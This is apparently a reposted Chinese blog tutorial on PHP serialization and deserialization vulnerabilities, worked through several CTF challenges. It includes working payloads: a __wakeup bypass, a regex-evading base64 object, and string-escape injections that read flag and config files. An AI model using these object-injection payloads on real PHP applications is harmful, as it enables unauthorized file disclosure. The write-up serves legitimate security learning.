PHP序列化和反序列化漏洞

序列化

序列化数组

  • serialize()函数可以序列化对象数组返回一个字符串
  • 序列化数组
<?php
$sites = array('Google', 'Runoob', 'Facebook');
$serialized_data = serialize($sites);
echo  $serialized_data . PHP_EOL;
?>
//输出   a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}
  • a代表数组
  • 3代表数组的元素有3个
  • i表示整型
  • 0表示数组的下标
  • s表示数组值的类型
  • 6表示数组值的长度

序列化对象

<?php
    class test{
    
    
        public $name="ccyyhh";
        public $age="18";
    }
    $a=new test();
    $a=serialize($a);
    print_r($a);
?>
// O:4:"test":2:{s:4:"name";s:6:"ccyyhh";s:3:"age";s:2:"18";}
  • O表示对象
  • 4表示对象名长度
  • test是对象名
  • 2表示对象成员个数
  • s表示字符型
  • 4表示成员名长度为4
  • s表示字符型
  • 6代表成员的值长度为6

重点这里需要注意的是当序列化的对象里面有私有属性和保护属性的时候,私有属性下格式是%00类名%00成员名,保护属性下是%00*%00成员名

反序列化

  • 将通过serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

序列化漏洞+实例

_wakeup()漏洞的绕过

  • 如果对象中存在魔术方法_wakeup(),在反序列化的时候会预先调用_wakeup()函数
  • 绕过方法:对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行

攻防世界:unserialize3

  • 页面代码
class xctf{
    
    
public $flag = '111';
public function __wakeup(){
    
    
exit('bad requests');
}
?code=
  • 用下面的方法得到xctf序列化后的字符串为O:4:"xctf":1:{s:4:"flag";s:3:"111";}
<?php
class xctf{
    
    
public $flag = '111';
public function __wakeup(){
    
    
exit('bad requests');
}
}
$a = new xctf();
$b =serialize($a);
echo $b;
	?>
  • 直接上传的话会给出’bad requests’
  • 将序列化后的字符串简单处理一下O:4:"xctf":2:{s:4:"flag";s:3:"111";}绕过_wakeup()函数
    在这里插入图片描述

攻防世界:Web_php_unserialize

<?php 
class Demo {
    
     
    private $file = 'index.php';
    public function __construct($file) {
    
     
        $this->file = $file; 
    }
    function __destruct() {
    
     
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() {
    
     
        if ($this->file != 'index.php') {
    
     
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) {
    
     
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) {
    
     
        die('stop hacking!'); 
    } else {
    
    
        @unserialize($var); 
    } 
} else {
    
     
    highlight_file("index.php"); 
} 
?>
  • 看到题目代码的第一个反应就是_wakeup()函数的绕过
  • 大致的思路是get方式上传var,经过一次base64解码,绕过正则表达式,然后反序列化,反序列化时需要绕过_wakeup()函数防止file杯赋值为index.php,函数结束时候显示文件
<?php
class Demo {
    
     
    private $file = 'fl4g.php';
    public function __construct($file) 
	{
    
     
        $this->file = $file; 
    }
    function __destruct() {
    
     
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() {
    
     
        if ($this->file != 'index.php') {
    
     
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$a = new Demo('fl4g.php');
$b =serialize($a);
echo $b;
	?>
  • ehco 输出为"O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
  • 绕过正则表达式、绕过_wakeup()、base64编码得到
    TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
    在这里插入图片描述

buuctf:[网鼎杯 2020 青龙组]AreUSerialz

  • 和前两题相比这道题的代码要长很多
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    
    
    protected $op;
    protected $filename;
    protected $content;
    function __construct() {
    
    
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
    public function process() {
    
    
        if($this->op == "1") {
    
    
            $this->write();
        } else if($this->op == "2") {
    
    
            $res = $this->read();
            $this->output($res);
        } else {
    
    
            $this->output("Bad Hacker!");
        }
    }
    private function write() {
    
    
        if(isset($this->filename) && isset($this->content)) {
    
    
            if(strlen((string)$this->content) > 100) {
    
    
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
    
    
            $this->output("Failed!");
        }
    }
    private function read() {
    
    
        $res = "";
        if(isset($this->filename)) {
    
    
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s) {
    
    
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {
    
    
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}
function is_valid($s) {
    
    
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if(isset($_GET{
    
    'str'})) {
    
    
 $str = (string)$_GET['str'];
    if(is_valid($str)) {
    
    
        $obj = unserialize($str);
    }
}
  • 简单分析了一下代码,上传一个str,如果str满足每一位的ASCII码值都大于等于32且小于125则将str反序列化
  • 接下来看一下FileHandler部分的代码,反序列化时候不会调用构造函数跳过,大概看了一下就是当op值为2的时候会调用read()函数去读取文件里面的内容并且输出出来
  • 考点在于如何去使得反序列化后调用到read函数
  • 首先我们需要绕过is_valid($s)函数,当对象有private和protected属性的时候,序列化的内容会有%00(ASCII值为0)不满足条件,这里上网查了一下资料对于PHP版本7.1以上的版本,对属性的类型不敏感,我们可以将protected类型改为public。
  • 绕过is_valid()函数后,我们需要考虑的就是如何调用read()函数,我们看到_destrcut()函数里面if($this->op === "2")是强比较,而process()函数中else if($this->op == "2")是弱比较。
  • 我们可以借助_destruct()调用process()函数
<?php
   class FileHandler {
    
    
     
        public $op = 2;
        public  $filename = "flag.php";
        public  $content = "rush";
    }
    $a = new FileHandler();
    $b = serialize($a);
    echo $b;
 ?>
# O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:4:"rush";}
  • 上面的脚本输出值即为payload.

上网查了这个题的wp,原题好像和这道题有点出入,看了一下学了些方法

  • 在绕过is_valid()函数时候我利用的是php7.1以后版本的特性对大小写不敏感 大佬的博客里面的内容
    private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
    所以payload也可以为:
    O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"rush";}
  • 此外他们好利用了php://filter伪协议

函数同名方法利用

反序列化逃逸

-这里我是在下面这篇文章里面学的:php反序列化入门到精通

[安洵杯 2019]easy_serialize_php

  • php反序列化逃逸
 <?php
$function = @$_GET['f'];
function filter($img){
    
    
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
if($_SESSION){
    
    
    unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
    
    
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
    
    
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    
    
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
    
    
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    
    
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    
    
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 
  • 看到的第一个反应以为是session的反序列化利用(太难了),看看好像不是
  • 看了下源代码,第一个反应就是get上传参数
  • ?f=phpinfo发现了好东西在这里插入图片描述
  • 接下来就是?f=show_image,问题在于我如何通过这个函数去获得d0g3_f1ag.php里面的内容
  • 整体审计一下代码,如果上传_SESSION,会被unset函数销毁掉并且重新赋值$_SESSION["user"] = 'guest';$_SESSION['function'] = $function;,之后我们可以通过extract($_POST)去变量覆盖
  • 接下来我看到下面的if里面有sha1函数的我就知道上传img_path没有卵用了,直接跳过
  • 接下来的是重点我们上传的内容会经过filter函数去过滤一些字符会被改成""
  • 看到这里就想到了字符串的逃逸,即d0g3_f1ag.php的base64编码后的ZDBnM19mMWFnLnBocA==的键值为img,而guest_image.png的base64编码被过滤掉
  • 构造一些post参数_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
  • 经过序列化变为"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
  • 再由filter函数过滤一下phpflag被过滤掉后
    -"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
  • 此时s:7:"";s:48:"刚好满足长度为七序列化正常进行了下去
  • 键值img对应的就是ZDBnM19mMWFnLnBocA== 页面输出了d0g3_f1ag.php的内容在这里插入图片描述
  • 再将原本的d0g3_f1ag.php的base64编码换成新的编码就可以得到flag了。

[0CTF 2016]piapiapia

  • dirsearch扫描一些发现www.zip文件
  • 打开在这里插入图片描述
  • 打开注册页面、注册后跳转到登录页面、登录成功、跳转update页面、最后到profile页面
  • update页面有个文件上传,各种骚操作啥用没有,老老实实代码审计去了
  • 打开config.php,惊现flag
    在这里插入图片描述
  • index.php是登录界面,如果$_SESSION[‘username’]有值直接跳转到profile.php
  • profile.php界面首先需要在register.php界面注册好,不然直接die
    如果已经update过了,则会反序列化,然后在这里插入图片描述
  • 这里的$photo是个突破点可以返回如果photo的值是个文件则会读取出文件里的内容
  • 再看update页面果然有有序列化 那么我们要做的就是如何利用序列化逃逸使得photo为我们想要读取的文件
  • 这里的phone必须为11位,nickname必须小于10位且是字母和数字
  • 注意一些nickname的过滤代码
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');
  • nickname必须是数字和字母 strlen可以通过数字绕过长度的限制strlen(Array()) = null
<?php
$profile['phone'] = '12345678990';
$profile['email'] = '[email protected]';
$profile ['nickname'] = ['abcdefg'];
$profile['photo'] = 'config.php';
echo serialize($profile);
?>

a:4:{s:5:"phone";s:11:"12345678990";s:5:"email";s:11:"[email protected]";s:8:"nickname";a:1:{i:0;s:7:"abcdefg";}s:5:"photo";s:10:"config.php";}

  • 如果我们在update界面输入的是这个东西,我们就可以利用file_get_contents函数获取config.php文件的内容了
  • 现在的考点就是我们update界面不由我们控制去获取config.php文件
  • 我们只能用字符串逃逸去使得photo的值为config.php
  • 数据会被传入filter函数过滤,大致意思是将safe里面的数据换成hacker,这里只有where和hacker的长度不一样
public function filter($string) {
    
    
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
  • 所以我们可以用where去字符串逃逸";}s:5:"photo";s:10:"config.php";}长度为34所以我们可以用34个where去逃逸";}s:5:"photo";s:10:"config.php";}
    wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}就是最终的payload
    在这里插入图片描述
  • 查看profile页面的源码解码就能得到flag

猜你喜欢

转载自blog.csdn.net/CyhDl666/article/details/113415034